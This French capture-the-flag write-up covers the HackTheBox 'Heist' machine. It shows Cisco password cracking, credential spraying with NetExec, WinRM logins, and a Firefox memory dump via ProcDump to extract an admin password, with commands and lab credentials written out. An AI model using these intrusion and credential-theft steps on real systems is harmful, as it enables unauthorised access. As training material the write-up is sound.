> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md). # Compte-rendu HackTheBox Heist Compte-rendu de la machine Windows facile HackTheBox Heist couvrant la récupération de mot de passe Cisco, le credential spraying, l’accès WinRM et l’analyse de la mémoire Firefox. {% embed url="?" %} {% hint style="warning" %} **Compétences :** * Énumération Web avec Gobuster * Récupération de mot de passe Cisco de type 5 et de type 7 * Validation des identifiants avec NetExec * Accès WinRM avec Evil-WinRM * Analyse de la mémoire du processus avec ProcDump {% endhint %} ## Reconnaissance ### Configuration de l'environnement de travail Créez des dossiers pour les résultats du scan, le contenu découvert, les scripts et les exploits. ```bash mkdir -p {nmap,content,script,exploit} ```
### Découverte des ports Exécutez un scan TCP complet pour identifier les ports ouverts. ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.129.6.90 -oG allPorts ``` Le scan révèle HTTP, RPC, SMB, WinRM et un port RPC dynamique.
Effectuez un scan de version ciblé sur les services découverts. ```bash sudo nmap -sCV -p80,135,445,5985,49669 10.129.6.90 -oN targeted ```
### Énumération Web Port `80` héberge un panneau de connexion.
Énumérez les points de terminaison PHP avec Gobuster. ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.6.90/ -x php -t 100 ```
Le scan révèle des pages, notamment `issues.php`, `login.php`, et `attachments.php`. Le `issues.php` La page contient un ticket de Hazard à Support. Il mentionne une configuration Cisco défectueuse. Le ticket révèle également les `hazard` et `support` noms d'utilisateur.
La pièce jointe contient la configuration Cisco. ```wasm version 12.2 no service pad service password-encryption ! isdn switch-type basic-5ess ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ! ip ssh authentication-retries 5 ip ssh version 2 ! ! router bgp 100 synchronisation bgp log-neighbor-changes bgp dampening network 192.168.0.0Â masque 300.255.255.0 timers bgp 3 9 redistribute connected ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.0.1 ! ! access-list 101 permit ip any any dialer-list 1 protocol ip list 101 ! no ip http server no ip http secure-server ! line vty 0 4 session-timeout 60002375012182C1A1D751618034F36415408 authorization exec SSH transport input ssh ``` La configuration contient un `secret d'activation` hachage et deux mots de passe Cisco de type 7. ```bash $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ``` Le cassage du hachage de type 5 permet de récupérer `stealth1agent`.
Validez le mot de passe récupéré avec SMB. Il fonctionne pour `hazard`. ```bash nxc smb 10.129.6.90 -u 'hazard' -p 'stealth1agent' --shares ```
Tentez une session WinRM avec les mêmes identifiants. ```wasm evil-winrm -u "hazard" -p "stealth1agent" -i "10.129.6.90" ``` La connexion échoue parce que `hazard` n'a pas accès à WinRM.
### Énumération des utilisateurs Utilisez le brute force RID pour énumérer les utilisateurs locaux. {% code overflow="wrap" %} ```bash netexec smb 10.129.6.90 -u "hazard" -p "stealth1agent" --rid-brute ``` {% endcode %} Cela renvoie les utilisateurs suivants : * Hazard * Support * Chase * Jason ### Récupération de mot de passe Cisco de type 7 Récupérez les mots de passe chiffrés restants dans la configuration. ``` username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ``` Utilisez un décodeur Cisco Type 7 pour déchiffrer les deux valeurs. {% embed url="" %} Les mots de passe déchiffrés sont : * $uperP\@ssword * Q4)sJu\Y8qz\*A3?d
Créez une liste d'utilisateurs candidats. {% code overflow="wrap" %} ```bash Support Chase Jason ``` {% endcode %} Créez une liste de mots de passe. {% code overflow="wrap" %} ```bash $uperP@ssword Q4)sJu\Y8qz*A3?d ``` {% endcode %} Testez chaque combinaison utilisateur/mot de passe via SMB. {% code overflow="wrap" %} ```bash nxc smb 10.129.6.90 -u users.txt -p passwords.txt ``` {% endcode %} Les résultats identifient des identifiants valides pour `Chase`: * Chase * Q4)sJu\Y8qz\*A3?d
### Accès initial Se connecter en tant que `Chase` via WinRM. {% code overflow="wrap" %} ```bash evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i "10.129.6.90" ``` {% endcode %}
Récupérez le flag utilisateur.
### Élévation de privilèges Exécutez `ps` et remarquez que Firefox est en cours d'exécution. ```bash ps ```
Un processus de navigateur actif peut contenir des identifiants en mémoire. Utilisez ProcDump pour capturer la mémoire du processus Firefox. ```bash wget https://download.sysinternals.com/files/Procdump.zip ``` {% embed url="" %}
Téléverser `procdump64.exe` sur la cible. ```bash upload /workspace/procdump64.exe ```
Videz le processus Firefox. ```bash .\procdump64.exe -accepteula -ma 3092 firefox_debug.dmp ```
Téléchargez le vidage mémoire pour une analyse locale. ```bash download "C:/Users/Chase/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp ``` Le téléchargement prend du temps car le vidage est volumineux.
Recherchez dans les chaînes du vidage des valeurs liées aux mots de passe plutôt que d'attendre une analyse complète. ```bash strings firefox_debug.dmp | grep password ``` Cela révèle des identifiants pour le compte administrateur. ```bash admin@support.htb&login_password=4dD!5}x/re8]FBuZ ```
Validez le mot de passe récupéré avec SMB. ```bash nxc smb 10.129.6.90 -u "Administrator" -p "4dD!5}x/re8]FBuZ" ```
### Accès administrateur Connectez-vous via WinRM en tant que `Administrator`. {% code overflow="wrap" %} ```bash evil-winrm -i '10.129.6.90' -u 'Administrator' -p '4dD!5}x/re8]FBuZ' ``` {% endcode %} La session dispose de privilèges d'administrateur.
Récupérez le flag root.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.